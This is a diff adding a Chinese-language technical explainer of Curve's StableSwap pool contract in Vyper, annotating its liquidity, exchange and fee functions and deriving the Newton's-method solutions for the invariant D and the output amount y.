+    @dev Useful for calculating profits
+    @return LP token virtual price normalized to 1e18
+    """
+    D: uint256 = self._get_D(self._xp(), self._A())
+    # D is in the units similar to DAI (e.g. converted to precision 1e18)
+    # When balanced, D = n * x_u - total virtual value of the portfolio
+    token_supply: uint256 = ERC20(self.lp_token).totalSupply()
+    return D * PRECISION / token_supply
+```
+
+#### calc_token_amount
+
+计算调用 deposit 和 withdraw 后，lp token 的变化数量。该方法会考虑滑点的影响，但不包括手续费。主要用于防止抢跑攻击，而非用于交易的精确计算。
+
+根据 D 的变化比例来同比计算 lp token 的变化。
+
+```python
+@view
+@external
+def calc_token_amount(_amounts: uint256[N_COINS], _is_deposit: bool) -> uint256:
+    """
+    @notice Calculate addition or reduction in token supply from a deposit or withdrawal
+    @dev This calculation accounts for slippage, but not fees.
+         Needed to prevent front-running, not for precise calculations!
+    @param _amounts Amount of each coin being deposited
+    @param _is_deposit set True for deposits, False for withdrawals
+    @return Expected amount of LP tokens received
+    """
+    amp: uint256 = self._A()
+    balances: uint256[N_COINS] = self.balances
+    D0: uint256 = self._get_D_mem(balances, amp) # 缓存变化之前的D
+    for i in range(N_COINS): # 遍历改变每个资产的数量
+        if _is_deposit:
+            balances[i] += _amounts[i]
+        else:
+            balances[i] -= _amounts[i]
+    D1: uint256 = self._get_D_mem(balances, amp) # 计算变化之后的D
+    token_amount: uint256 = CurveToken(self.lp_token).totalSupply()
+    diff: uint256 = 0
+    if _is_deposit:
+        diff = D1 - D0
+    else:
+        diff = D0 - D1
+    # 根据D的变化比例计算lp token变化量
+    # (delta D / D0) * totalSupply
+    return diff * token_amount / D0
+```
+
+#### add_liquidity
+
+添加流动性，向池子注入资产。传入资产数量数组和最小 lp token mint 数量，返回实际 mint 的数量。
+
+1. 根据传入 token 数量，计算 D 的增量 delta D1
+   - 不考虑手续费的影响
+   - `assert delta D1 > 0`
+2. 考虑手续费的影响，计算 D 的增量 delta D2
+   - 先算出不考虑手续费时，每个资产的变化数量(difference_balance)
+   - 根据费率分别计算每个资产的手续费
+   - `fee_i = fee_rate * difference_balance`
+   - 将资产数量减去手续费的数量，然后重新计算考虑手续费影响的 D 值，进而得到 `delta D2`
+3. 根据 delta D2 与 D 的比例，同比计算新增 lp token 数量
+   - `mint amount = (delta D2 / D) * totalSupply`
+   - 如果 mint 数量 < 设定的最小数量，交易回滚
+4. 将资产 token 从用户转入本合约，为用户 mint lp token，最后返回实际 mint 数量
+
+关于 lp token 流动性数量的含义：
+
+- 池子首次添加流动性，不会收取手续费，且 mint 数量就是 D 值
+- 如果不考虑手续费影响，lp token 数量与 D 值同步
+- 如果添加流动性的资产比例，不会改变当前价格，其过程也不会发生交易，因此就不会产生手续费
+
+admin_fee 是一个百分比，当前是 50%，含义是协议将手续手续中的一定比例，作为协议费用。收取的协议费(admin fee) 的资产不会计入 balances 字段，所以 `ERC20.balanceOf(this) - self.balance` 将是现阶段可收取的 `admin_fee`。
+
+关于 `N_COINS / (4 * (N_COINS - 1))`
+
+- 不平衡的添加流动性时，会针对不平衡的部分收取交易手续费，但因为用户只存入了输入token，并没有提出输出 token，该交易并不完整，所以需要让手续费乘以一个减小系数
+- 当 N = 2 时，该系数将是最高的 1/2
+- 当 N 非常大，该系数将无限趋近于 1/4
+
+```python
+@external
+@nonreentrant('lock')
+def add_liquidity(_amounts: uint256[N_COINS], _min_mint_amount: uint256) -> uint256:
+    """
+    @notice Deposit coins into the pool
+    @param _amounts List of amounts of coins to deposit
+    @param _min_mint_amount Minimum amount of LP tokens to mint from the deposit
+    @return Amount of LP tokens received by depositing
+    """
+    assert not self.is_killed  # dev: is killed
+
+    amp: uint256 = self._A()
+    old_balances: uint256[N_COINS] = self.balances
+
+    # Initial invariant
+    # 计算变化前的D数值
+    D0: uint256 = self._get_D_mem(old_balances, amp)
+
+    lp_token: address = self.lp_token
+    token_supply: uint256 = CurveToken(lp_token).totalSupply()
+    new_balances: uint256[N_COINS] = old_balances
+    for i in range(N_COINS):
+        if token_supply == 0:
+            assert _amounts[i] > 0  # 初次添加流动性，每种资产的数量都必须大于0
+        # balances store amounts of c-tokens
+        # ?? 这里注释有疑问，base pool 应该不会有c-token ??
+        new_balances[i] += _amounts[i]
+
+    # Invariant after change
+    # 计算变化后的D值（不考虑手续费影响）
+    D1: uint256 = self._get_D_mem(new_balances, amp)
+    assert D1 > D0
+
+    # We need to recalculate the invariant accounting for fees
+    # to calculate fair user's share
+    # 我们需要公平的计算用户的份额（考虑手续费）
+    D2: uint256 = D1
+    fees: uint256[N_COINS] = empty(uint256[N_COINS])
+    mint_amount: uint256 = 0
+    if token_supply > 0:
+        # Only account for fees if we are not the first to deposit
+        # 初次添加流动性不会收取手续费，换言之，后续的添加都会收取
+        # N_COINS / (4 * (N_COINS - 1)) 的意义是可以根据N来调节手续费
+        # 当 N = 2 时，该系数将是最高的 1/2
+        # 当 N 非常大，该系数将无限趋近于 1/4
+        fee: uint256 = self.fee * N_COINS / (4 * (N_COINS - 1))
+        admin_fee: uint256 = self.admin_fee
+        for i in range(N_COINS):
+            # ideal_balance 每个资产理想的数量不考虑手续费
+            # difference 每个资产理想数值与现值的差量
+            # fee_i = difference * fee_rate
+            # 实际资产数量 = 理想数量 - 手续费
+            # new_balance_i = ideal_balance - fee_i
+            ideal_balance: uint256 = D1 * old_balances[i] / D0
+            difference: uint256 = 0
+            new_balance: uint256 = new_balances[i]
+            if ideal_balance > new_balance:
+                difference = ideal_balance - new_balance
+            else:
+                difference = new_balance - ideal_balance
+            fees[i] = fee * difference / FEE_DENOMINATOR
+            self.balances[i] = new_balance - (fees[i] * admin_fee / FEE_DENOMINATOR)
+            new_balances[i] -= fees[i]
+        # 根据扣除手续费之后的资产数量，计算新的D值
+        # 然后同比计算 lp token 的增量，即为 mint 数量
+        D2 = self._get_D_mem(new_balances, amp)
+        mint_amount = token_supply * (D2 - D0) / D0
+    else:
+        # 初次添加流动性，不收取手续费，池子资产数量即为本地添加的数量
+        # lp token 数量就是D，
+        self.balances = new_balances
+        mint_amount = D1  # Take the dust if there was any
+    assert mint_amount >= _min_mint_amount, "Slippage screwed you"
+
+    # Take coins from the sender
+    for i in range(N_COINS):
+        if _amounts[i] > 0:
+            # "safeTransferFrom" which works for ERC20s which return bool or not
+            _response: Bytes[32] = raw_call(
+                self.coins[i],
+                concat(
+                    method_id("transferFrom(address,address,uint256)"),
+                    convert(msg.sender, bytes32),
+                    convert(self, bytes32),
+                    convert(_amounts[i], bytes32),
+                ),
+                max_outsize=32,
+            )
+            if len(_response) > 0:
+                assert convert(_response, bool)  # dev: failed transfer
+            # end "safeTransferFrom"
+
+    # Mint pool tokens
+    CurveToken(lp_token).mint(msg.sender, mint_amount)
+
+    log AddLiquidity(msg.sender, _amounts, fees, D1, token_supply + mint_amount)
+
+    return mint_amount
+```
+
+#### exchange
+
+交易，输入单一资产 `i`，输出另一个单一资产 `j`，规定最小获得的输出数量 `_min_dy`，返回实际交易输出数量 (dy)。
+
+```python
+@external
+@nonreentrant('lock')
+def exchange(i: int128, j: int128, _dx: uint256, _min_dy: uint256) -> uint256:
+    """
+    @notice Perform an exchange between two coins
+    @dev Index values can be found via the `coins` public getter method
+    @param i Index value for the coin to send
+    @param j Index valie of the coin to recieve
+    @param _dx Amount of `i` being exchanged
+    @param _min_dy Minimum amount of `j` to receive
+    @return Actual amount of `j` received
+    """
+    assert not self.is_killed  # dev: is killed
+
+    # 根据当前资产数量计算现有每个资产的总价值 xp
+    old_balances: uint256[N_COINS] = self.balances
+    xp: uint256[N_COINS] = self._xp_mem(old_balances)
+
+    # 计算输入资产后，输出资产的价值，即y
+    rates: uint256[N_COINS] = RATES
+    x: uint256 = xp[i] + _dx * rates[i] / PRECISION
+    y: uint256 = self._get_y(i, j, x, xp)
+
+    # 计算输出资产的价值变化量，即 dy
+    # 防止计算精度引起的数值不准确，向下舍入 (-1)
+    # 计算手续费价值 dy_fee
+    dy: uint256 = xp[j] - y - 1  # -1 just in case there were some rounding errors
+    dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR
+
+    # Convert all to real units
+    # 将扣除手续费后的价值 (dy - dy_fee) , 并统一精度 PRECISION = 1e18
+    dy = (dy - dy_fee) * PRECISION / rates[j]
+    assert dy >= _min_dy, "Exchange resulted in fewer coins than expected"
+
+    # 从手续费价值中抽取一定比例的协议费，并转根据价格转换成实际的输出资产数量
+    dy_admin_fee: uint256 = dy_fee * self.admin_fee / FEE_DENOMINATOR
+    dy_admin_fee = dy_admin_fee * PRECISION / rates[j]
+
+    # Change balances exactly in same way as we change actual ERC20 coin amounts
+    # 将输入数量加到balances上，我们实际运算的是 ERC20 数量
+    self.balances[i] = old_balances[i] + _dx
+    # When rounding errors happen, we undercharge admin fee in favor of LP
+    # 当舍入错误发生，协议将不收取协议费来支持流动性的发展
+    # 除以 FEE_DENOMINATOR 时，会将小于 FEE_DENOMINATOR 的数量舍入，所以认为这部分是少收了协议费
+    #
+    # 输出资产的数量 减去实际输出给用户的数量(fee会保留在合约中)， 再扣除协议费数量
+    # 值得注意的是，这里 balance - dy 已经将交易手续费fee留给了 lp 提供者
+    # 然后协议又从 lp 提供者的fee份额中，抽取了协议费
+    self.balances[j] = old_balances[j] - dy - dy_admin_fee
+
+    # 转入输入资产
+    _response: Bytes[32] = raw_call(
+        self.coins[i],
+        concat(
+            method_id("transferFrom(address,address,uint256)"),
+            convert(msg.sender, bytes32),
+            convert(self, bytes32),
+            convert(_dx, bytes32),
+        ),
+        max_outsize=32,
+    )
+    if len(_response) > 0:
+        assert convert(_response, bool)
+
+    # 转出输出资产
+    _response = raw_call(
+        self.coins[j],
+        concat(
+            method_id("transfer(address,uint256)"),
+            convert(msg.sender, bytes32),
+            convert(dy, bytes32),
+        ),
+        max_outsize=32,
+    )
+    if len(_response) > 0:
+        assert convert(_response, bool)
+
+    log TokenExchange(msg.sender, i, _dx, j, dy)
+
+    return dy
+```
+
+#### remove_liquidity
+
+移除流动性，传入要移除的 lp token 数量 `_amount` ，最小赎回资产数量数组 `_min_amounts`，转给调用者的资产数量将按照池子当前的资产比分配，返回赎回的资产数量数组。
+
+由于该方法将保持池子内现有的资产比例，不会引起价格改变，**该方法不收取手续费**。
+
+```python
+@external
+@nonreentrant('lock')
+def remove_liquidity(_amount: uint256, _min_amounts: uint256[N_COINS]) -> uint256[N_COINS]:
+    """
+    @notice Withdraw coins from the pool
+    @dev Withdrawal amounts are based on current deposit ratios
+    @param _amount Quantity of LP tokens to burn in the withdrawal
+    @param _min_amounts Minimum amounts of underlying coins to receive
+    @return List of amounts of coins that were withdrawn
+    """
+    lp_token: address = self.lp_token
+    total_supply: uint256 = CurveToken(lp_token).totalSupply()
+    amounts: uint256[N_COINS] = empty(uint256[N_COINS])
+
+    for i in range(N_COINS):
+        # 根据移除的 lp token 数量与总数的比例，同比计算balance的变化量，即为赎回的数量
+        # 这里没有收取手续费
+        old_balance: uint256 = self.balances[i]
+        value: uint256 = old_balance * _amount / total_supply
+        assert value >= _min_amounts[i], "Withdrawal resulted in fewer coins than expected"
+        self.balances[i] = old_balance - value
+        amounts[i] = value
+        _response: Bytes[32] = raw_call(
+            self.coins[i],
+            concat(
+                method_id("transfer(address,uint256)"),
+                convert(msg.sender, bytes32),
+                convert(value, bytes32),
+            ),
+            max_outsize=32,
+        )
+        if len(_response) > 0:
+            assert convert(_response, bool)
+
+    CurveToken(lp_token).burnFrom(msg.sender, _amount)  # dev: insufficient funds
+
+    log RemoveLiquidity(msg.sender, amounts, empty(uint256[N_COINS]), total_supply - _amount)
+
+    return amounts
+```
+
+#### remove_liquidity_imbalance
+
+(不平衡的)移除流动性，传入要赎回的资产数量数组 `_amounts`, 最大能销毁的 lp token 数量 `_max_burn_amount`，转给调用者的资产数量将按照入参分配，返回实际销毁掉的 lp token 数量。
+
+由于其中包含引起不平衡的流动性，导致池子内资产数量比例发生变化，进而导致价格改变，**该方法要收取手续费**。
+
+1. 根据传入 token 数量，计算 D 的减量 delta D1
+   - 不考虑手续费的影响
+2. 考虑手续费的影响，计算 D 的减量 delta D2
+   - 先算出不考虑手续费时，流动性中引起资产不平衡的数量(difference_balance)
+   - 根据费率分别计算每个资产的手续费
+   - `fee_i = fee_rate * difference_balance`
+   - 将资产数量减去手续费的数量，然后重新计算考虑手续费影响的 D 值，进而得到 `delta D2`
+   - 由于余额部分已经扣除了手续费，所以根据 `new_balance` 计算 D 值会略少于真实的 D 值，这部分将导致销毁更多的 LP token
+   - 即，该函数将保证用户赎回资产的数量和 `_amounts` 保持一致，但会多销毁 LP token，作为手续费
+3. 根据 delta D2 与 D 的比例，同比计算减少 lp token 数量
+   - `burn_amount = (delta D2 / D) * totalSupply`
+   - `assert burn_amount != 0`
+   - `assert burn_amount <= _max_burn_amount`
+4. 将资产按照入参的数量转给用户，销毁用户的 lp token，最后返回实际 burn 数量
+
+```python
+@external
+@nonreentrant('lock')
+def remove_liquidity_imbalance(_amounts: uint256[N_COINS], _max_burn_amount: uint256) -> uint256:
+    """
+    @notice Withdraw coins from the pool in an imbalanced amount
+    @param _amounts List of amounts of underlying coins to withdraw
+    @param _max_burn_amount Maximum amount of LP token to burn in the withdrawal
+    @return Actual amount of the LP token burned in the withdrawal
+    """
+    assert not self.is_killed  # dev: is killed
+
+    # 计算变化前的D值
+    amp: uint256 = self._A()
+    old_balances: uint256[N_COINS] = self.balances
+    D0: uint256 = self._get_D_mem(old_balances, amp)
+    new_balances: uint256[N_COINS] = old_balances
+    for i in range(N_COINS):
+        new_balances[i] -= _amounts[i]
+    # 计算移除指定资产数量后的 D 值
+    D1: uint256 = self._get_D_mem(new_balances, amp)
+
+    # N_COINS / (4 * (N_COINS - 1)) 的含义参照前文描述
+    fee: uint256 = self.fee * N_COINS / (4 * (N_COINS - 1))
+    admin_fee: uint256 = self.admin_fee
+    fees: uint256[N_COINS] = empty(uint256[N_COINS])
+    for i in range(N_COINS):
+        new_balance: uint256 = new_balances[i]
+        ideal_balance: uint256 = D1 * old_balances[i] / D0
+        difference: uint256 = 0
+        if ideal_balance > new_balance:
+            difference = ideal_balance - new_balance
+        else:
+            difference = new_balance - ideal_balance
+        fees[i] = fee * difference / FEE_DENOMINATOR
+        # 全局balances只减去 admin_fee 部分
+        # 而用于后续计算 D 值的 new_balances 将扣除完整的手续费
+        self.balances[i] = new_balance - (fees[i] * admin_fee / FEE_DENOMINATOR)
+        new_balances[i] = new_balance - fees[i]
+    # D2 将比实际的 D 值略小，因为扣除了手续费的价值
+    # 后续将导致多销毁调用者的 LP token
+    D2: uint256 = self._get_D_mem(new_balances, amp)
+
+    lp_token: address = self.lp_token
+    token_supply: uint256 = CurveToken(lp_token).totalSupply()
+    token_amount: uint256 = (D0 - D2) * token_supply / D0
+    assert token_amount != 0  # dev: zero tokens burned
+    token_amount += 1  # In case of rounding errors - make it unfavorable for the "attacker"
+    assert token_amount <= _max_burn_amount, "Slippage screwed you"
+
+    CurveToken(lp_token).burnFrom(msg.sender, token_amount)  # dev: insufficient funds
+    for i in range(N_COINS):
+        if _amounts[i] != 0:
+            _response: Bytes[32] = raw_call(
+                self.coins[i],
+                concat(
+                    method_id("transfer(address,uint256)"),
+                    convert(msg.sender, bytes32),
+                    convert(_amounts[i], bytes32),
+                ),
+                max_outsize=32,
+            )
+            if len(_response) > 0:
+                assert convert(_response, bool)
+
+    log RemoveLiquidityImbalance(msg.sender, _amounts, fees, D1, token_supply - token_amount)
+
+    return token_amount
+
+```
+
+#### D
+
+由于 curve 的平衡方程，无法直接写出 D 的解析式，curve 在合约中使用了[牛顿法](https://en.wikipedia.org/wiki/Newton%27s_method)迭代求近似解。
+
+$$
+x_{n+1}=x_n-\frac{f(x_n)}{f'(x_n)}
+$$
+
+<!-- <img src="https://render.githubusercontent.com/render/math?math=x_{n%2B1}=x_n-\frac{f(x_n)}{f'(x_n)}" /> -->
+
+简单理解牛顿法就是利用上述公式，不断迭代 `x_n+1` 的值，使其越来越逼近真实的解
+
+![newton's method](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e0/NewtonIteration_Ani.gif/600px-NewtonIteration_Ani.gif)
+
+代码中使用的牛顿法的函数 `f(D)`，是用核心公式推导得来，下面简述推导过程：
+
+1. 首先将核心公式变形成 `f(D) = 0` 的形式
+
+$$
+  f(D)=An^n\sum x_i+D-ADn^n-\frac{D^{n+1}}{n^n\prod x_i}
+$$
+   <!-- <img src="https://render.githubusercontent.com/render/math?math=f(D)=An^n\sum x_i%2BD-ADn^n-\frac{D^{n%2B1}}{n^n\prod x_i}" /> -->
+
+3. `D_new = D - f(D)/f'(D)`
+
+$$
+  D_{new}=D-\frac{An^n\sum x_i + D-ADn^n-\frac{D^{n+1}}{n^n\prod x_i}}{1-An^n-(n+1)\frac{D^n}{n^n\prod x_i}}
+$$ 
+   <!-- <img src="https://render.githubusercontent.com/render/math?math=D_{new}=D-\frac{An^n\sum x_i%2BD-ADn^n-\frac{D^{n%2B1}}{n^n\prod x_i}}{1-An^n-(n%2B1)\frac{D^n}{n^n\prod x_i}}" /> -->
+
+4. 最终变成代码中的形态
+
+$$
+  D_{new}=\frac{An^n\sum x_i-\frac{D^{n+1}}{n^n\prod x_i}}{An^n+(n+1)\frac{D^n}{n^n\prod x_i}-1}
+$$
+   <!-- <img src="https://render.githubusercontent.com/render/math?math=D_{new}=\frac{An^n\sum x_i-\frac{D^{n%2B1}}{n^n\prod x_i}}{An^n%2B(n%2B1)\frac{D^n}{n^n\prod x_i}-1}" /> -->
+
+6. for 循环迭代求 D 的解，当迭代到 D 与上一次的差值 <= 1 时，停止迭代；
+
+7. 通常轮迭代不超过 4 轮就会找到最优解；但如果迭代 255 次仍然没有找到合适的解，程序终止，交易回滚 (revert)；用户可以通过 `remove_liquidity` 方法回收资产；
+
+> **注意**：<mark>注释中的牛顿法公式写漏了一项，而代码写的是正确的化简后的公式</mark>。
+
+- [curve-contract SwapTemplateBase.vy#L214](https://github.com/curvefi/curve-contract/blob/master/contracts/pool-templates/base/SwapTemplateBase.vy#L214)
+
+```python
+@pure
+@internal
+def _get_D(_xp: uint256[N_COINS], _amp: uint256) -> uint256:
+    """
+    D invariant calculation in non-overflowing integer operations
+    iteratively
+
+    A * sum(x_i) * n**n + D = A * D * n**n + D**(n+1) / (n**n * prod(x_i))
+
+    Converging solution:
+    D[j+1] = (A * n**n * sum(x_i) - D[j]**(n+1) / (n**n prod(x_i))) / (A * n**n + (n+1)*D[j]**n/(n**n prod(x_i)) - 1)
+
+    这里原版代码注释分母漏掉了一项
+    (n+1)*D[j]**n/(n**n prod(x_i))
+
+    原版代码链接:
+    https://github.com/curvefi/curve-contract/blob/master/contracts/pool-templates/base/SwapTemplateBase.vy#L214
+    """
+    S: uint256 = 0
+    Dprev: uint256 = 0
+
+    for _x in _xp:
+        S += _x
+    if S == 0:
+        return 0
+
+    D: uint256 = S
+    Ann: uint256 = _amp * N_COINS
+    for _i in range(255):
+        D_P: uint256 = D
+        for _x in _xp:
+            D_P = D_P * D / (_x * N_COINS)  # If division by 0, this will be borked: only withdrawal will work. And that is good
+            # 只有当移除流动性时才有可能 _x 为0，这时程序会崩溃
+            # 只能平衡的移除流动性, remove_liquidity 不会调用牛顿法求解，这也是期望的结果
+            # 添加流动性，池内的xp值不可能为0
+        Dprev = D
+        D = (Ann * S / A_PRECISION + D_P * N_COINS) * D / ((Ann - A_PRECISION) * D / A_PRECISION + (N_COINS + 1) * D_P)
+        # Equality with the precision of 1
+        # 当迭代的新值和上次之差，小于等于 1，即0或1
+        # 认为找到了局部最优解
+        if D > Dprev:
+            if D - Dprev <= 1:
+                return D
+        else:
+            if Dprev - D <= 1:
+                return D
+    # convergence typically occurs in 4 rounds or less, this should be unreachable!
+    # if it does happen the pool is borked and LPs can withdraw via `remove_liquidity`
+    raise
+
+
+@view
+@internal
+def _get_D_mem(_balances: uint256[N_COINS], _amp: uint256) -> uint256:
+    return self._get_D(self._xp_mem(_balances), _amp)
+```
+
+#### y
+
+输入资产 `i` ，变化之后的数量 `x`，变化之前的 `_xp`，计算输出资产 `j` 变化后的数量。
+
+与计算 D 一样，这里也使用了牛顿法计算 y, 即 `x_j`，其 `f(x_j)` 推导过程如下：
+
+$$
+  An^n\sum x_i + D = ADn^n + \frac{D^{n+1}}{n^n\prod x_i}
+$$
+
+<!-- <img src="https://render.githubusercontent.com/render/math?math=An^n\sum x_i%2BD = ADn^n%2B\frac{D^{n%2B1}}{n^n\prod x_i}" /> -->
+
+1. 设 `sum'`, `prod'` 分别为排除输出资产数量的累加和累乘结果
+   - `sum' = sum(x) - x_j`
+   - `prod' = prod(x) / x_j`
+
+2. 核心公式除以 `A*n**n`
+
+$$
+  \sum{x_i}+\frac{D}{An^n}-D=\frac{D^{n+1}}{An^nn^n\prod x_i}
+$$
+<!-- <img src="https://render.githubusercontent.com/render/math?math=\sum x_i%2B\frac{D}{An^n}-D=\frac{D^{n%2B1}}{An^nn^n\prod x_i}" /> -->
+
+3. 乘以 `x_j`，并代入 `sum'` 和 `prod'`
+
+$$
+  x_j(x_j+sum')-x_j(An^n-1)\frac{D}{An^n}=\frac{D^{n+1}x_j}{An^{2n}(prod'*x_j)}
+$$
+<!-- <img src="https://render.githubusercontent.com/render/math?math=x_j(x_j%2Bsum')-x_j(An^n-1)\frac{D}{An^n}=\frac{D^{n%2B1}x_j}{An^{2n}(prod'*x_j)}" /> -->
+
+4. 展开多项式，即为牛顿法使用的 `f(x_j)`
+
+$$
+  x_j^2+x_j(sum'-(An^n-1)\frac{D}{An^n})=\frac{D^{n+1}}{An^{2n}prod'}
+$$
+<!-- <img src="https://render.githubusercontent.com/render/math?math=x_j^2%2Bx_j(sum'-(An^n-1)\frac{D}{An^n})=\frac{D^{n%2B1}}{An^{2n}prod'}" /> -->
+
+5. 将其写为 `x_j**2 + b*x_j = c` 形式，代入牛顿法公式 `x = x - f(x) / f'(x)`
+
+   - `x_j = (x_j**2 + c) / (2*x_j + b)`
+
+```python
+@view
+@internal
+def _get_y(i: int128, j: int128, x: uint256, _xp: uint256[N_COINS]) -> uint256:
+    """
+    Calculate x[j] if one makes x[i] = x
+
+    Done by solving quadratic equation iteratively.
+    x_1**2 + x_1 * (sum' - (A*n**n - 1) * D / (A * n**n)) = D ** (n + 1) / (n ** (2 * n) * prod' * A)
+    x_1**2 + b*x_1 = c
+
+    x_1 = (x_1**2 + c) / (2*x_1 + b)
+    """
+    # x in the input is converted to the same price/precision
+
+    assert i != j       # dev: same coin
+    assert j >= 0       # dev: j below zero
+    assert j < N_COINS  # dev: j above N_COINS
+
+    # should be unreachable, but good for safety
+    assert i >= 0
+    assert i < N_COINS
+
+    A: uint256 = self._A()
+    D: uint256 = self._get_D(_xp, A)
+    Ann: uint256 = A * N_COINS
+    c: uint256 = D      # c 提前乘以D
+    S: uint256 = 0
+    _x: uint256 = 0
+    y_prev: uint256 = 0
+
+    # for 排除 i == j 的情况，即排除输出资产的xp
+    # c将被乘以 N-1 次 D
+    for _i in range(N_COINS):
+        if _i == i:
+            _x = x
+        elif _i != j:
+            _x = _xp[_i]
+        else:
+            continue
+        S += _x
+        c = c * D / (_x * N_COINS)
+    # for循环之后，c中含有 D^N ，而根据公式，还需要乘以一次 D
+    c = c * D * A_PRECISION / (Ann * N_COINS)
+    b: uint256 = S + D * A_PRECISION / Ann  # - D
+    y: uint256 = D      # 牛顿法的初值设为 D
+    for _i in range(255):
+        y_prev = y
+        y = (y*y + c) / (2 * y + b - D)
+        # Equality with the precision of 1
+        if y > y_prev:
+            if y - y_prev <= 1:
+                return y
+        else:
+            if y_prev - y <= 1:
+                return y
+    raise
+
+
+@view
+@external
+def get_dy(i: int128, j: int128, _dx: uint256) -> uint256:
+    xp: uint256[N_COINS] = self._xp()
+    rates: uint256[N_COINS] = RATES
+
+    x: uint256 = xp[i] + (_dx * rates[i] / PRECISION)
+    y: uint256 = self._get_y(i, j, x, xp)
+    dy: uint256 = xp[j] - y - 1
+    fee: uint256 = self.fee * dy / FEE_DENOMINATOR
+    return (dy - fee) * PRECISION / rates[j]
+```
+
+还有个 `_get_y_D()` 函数，与上述区别是可以自定义 D 的值来求 y
+
+```python
+@pure
+@internal
+def _get_y_D(A: uint256, i: int128, _xp: uint256[N_COINS], D: uint256) -> uint256:
+```
+
+#### calc_withdraw_one_coin
+
+指定移除流动性 LP token 的数量，计算只赎回单一资产的数量。
+
+1. 根据 `_token_amount` 和 `total_supply` 的比例，同比计算不考虑手续费的 D 值
+2. 根据新的 D 值计算此次移除，产生的交易量，收取手续费
+3. 根据扣除手续费新的数量，计算实际的 D 值
+
+```python
+@view
+@internal
+def _calc_withdraw_one_coin(_token_amount: uint256, i: int128) -> (uint256, uint256, uint256):
+    # First, need to calculate
+    # * Get current D
+    # * Solve Eqn against y_i for D - _token_amount
+    # 首先需要先计算出移除流动性后，资产i的新数量
+    amp: uint256 = self._A()
+    xp: uint256[N_COINS] = self._xp()
+    D0: uint256 = self._get_D(xp, amp)
+
+    # 根据 lp token 变化量同比计算D的新值
+    # 牛顿法计算新的资产 i 的数量 new_y - 不考虑手续费
+    # xp_reduced 资产价值减少后的量
+    total_supply: uint256 = CurveToken(self.lp_token).totalSupply()
+    D1: uint256 = D0 - _token_amount * D0 / total_supply
+    new_y: uint256 = self._get_y_D(amp, i, xp, D1)
+    xp_reduced: uint256[N_COINS] = xp
+    fee: uint256 = self.fee * N_COINS / (4 * (N_COINS - 1))
+    for j in range(N_COINS):
+        # dx_expected 资产j价值的变量
+        #   - 相对于按照比例移除流动性的数量
+        #   - 不考虑手续费
+        # 资产i相对新的xp要少，其他则是相对于新的xp要多，因此需要注意正负号
+        dx_expected: uint256 = 0
+        if j == i:
+            dx_expected = xp[j] * D1 / D0 - new_y
+        else:
+            dx_expected = xp[j] - xp[j] * D1 / D0
+        # 在输出资产上扣除手续费
+        xp_reduced[j] -= fee * dx_expected / FEE_DENOMINATOR
+
+    # 使用扣除手续费的xp计算 y，进而得出dy
+    dy: uint256 = xp_reduced[i] - self.get_y_D(amp, i, xp_reduced, D1)
+    precisions: uint256[N_COINS] = PRECISION_MUL
+    dy = (dy - 1) / precisions[i]  # Withdraw less to account for rounding errors
+    dy_0: uint256 = (xp[i] - new_y) / precisions[i]  # w/o fees
+
+    # 返回 赎回的资产数量，扣除的手续费(价值), lp token 总量（销毁之前）
+    return dy, dy_0 - dy, total_supply
+
+
+@view
+@external
+def calc_withdraw_one_coin(_token_amount: uint256, i: int128) -> uint256:
+    """
+    @notice Calculate the amount received when withdrawing a single coin
+    @param _token_amount Amount of LP tokens to burn in the withdrawal
+    @param i Index value of the coin to withdraw
+    @return Amount of coin received
+    """
+    return self._calc_withdraw_one_coin(_token_amount, i)[0]
+```
+
+#### remove_liquidity_one_coin
+
+移除流动性，赎回单一种类资产。可以认为这期间是将其他资产交易为了单一资产，需要手续手续费。
+
+传入要销毁的 lp token 数量 `_token_amount`，赎回资产序号 `i`, 最小要收到的资产数量 `_min_amount`， 返回实际赎回的资产数量。
+
+```python
+@external
+@nonreentrant('lock')
+def remove_liquidity_one_coin(_token_amount: uint256, i: int128, _min_amount: uint256) -> uint256:
+    """
+    @notice Withdraw a single coin from the pool
+    @param _token_amount Amount of LP tokens to burn in the withdrawal
+    @param i Index value of the coin to withdraw
+    @param _min_amount Minimum amount of coin to receive
+    @return Amount of coin received
+    """
+    assert not self.is_killed  # dev: is killed
+
+    # 预先计算本次移除将赎回的资产数量 dy
+    # 如果 dy 小于设定的最小数量，交易回滚
+    dy: uint256 = 0
+    dy_fee: uint256 = 0
+    total_supply: uint256 = 0
+    dy, dy_fee, total_supply = self._calc_withdraw_one_coin(_token_amount, i)
+    assert dy >= _min_amount, "Not enough coins removed"
+
+    # 将 admin fee 从balances中扣除
+    # 销毁掉设定的 lp token 数量
+    #
+    # 注意 _calc_withdraw_one_coin() 返回的 dy 是已经扣除掉手续费的数量
+    # 所以这里需要单独从balances中扣除协议费
+    self.balances[i] -= (dy + dy_fee * self.admin_fee / FEE_DENOMINATOR)
+    CurveToken(self.lp_token).burnFrom(msg.sender, _token_amount)  # dev: insufficient funds
+
+    # 将赎回token转给用户
+    _response: Bytes[32] = raw_call(
+        self.coins[i],
+        concat(
+            method_id("transfer(address,uint256)"),
+            convert(msg.sender, bytes32),
+            convert(dy, bytes32),
+        ),
+        max_outsize=32,
+    )
+    if len(_response) > 0:
+        assert convert(_response, bool)
+
+    log RemoveLiquidityOne(msg.sender, _token_amount, dy, total_supply - _token_amount)
+
+    return dy
+
+```
+
+### Admin functions
+
+管理员调用的方法
+
+#### A's adjustment
+
+A 参数的调整，传入目标值 `_future_A`，预定调整结束时间 `_future_time`。
+
+当调用 `ramp_A()` 后，A 参数会随时间线性改变，直到 `_future_time` 完成调整，达到预设的目标值。这期间池子的计算涉及 A 值都会线性的计算当前值。
+
+调整期间管理员可以调用 `stop_ramp_A` 终止调整进度，A 会保持当前的值。
+
+```python
+@external
+def ramp_A(_future_A: uint256, _future_time: uint256):
+    assert msg.sender == self.owner  # dev: only owner
+    assert block.timestamp >= self.initial_A_time + MIN_RAMP_TIME
+    assert _future_time >= block.timestamp + MIN_RAMP_TIME  # dev: insufficient time
+
+    initial_A: uint256 = self._A()
+    future_A_p: uint256 = _future_A * A_PRECISION
+
+    assert _future_A > 0 and _future_A < MAX_A
+    if future_A_p < initial_A:
+        assert future_A_p * MAX_A_CHANGE >= initial_A
+    else:
+        assert future_A_p <= initial_A * MAX_A_CHANGE
+
+    self.initial_A = initial_A
+    self.future_A = future_A_p
+    self.initial_A_time = block.timestamp
+    self.future_A_time = _future_time
+
+    log RampA(initial_A, future_A_p, block.timestamp, _future_time)
+
+
+@external
+def stop_ramp_A():
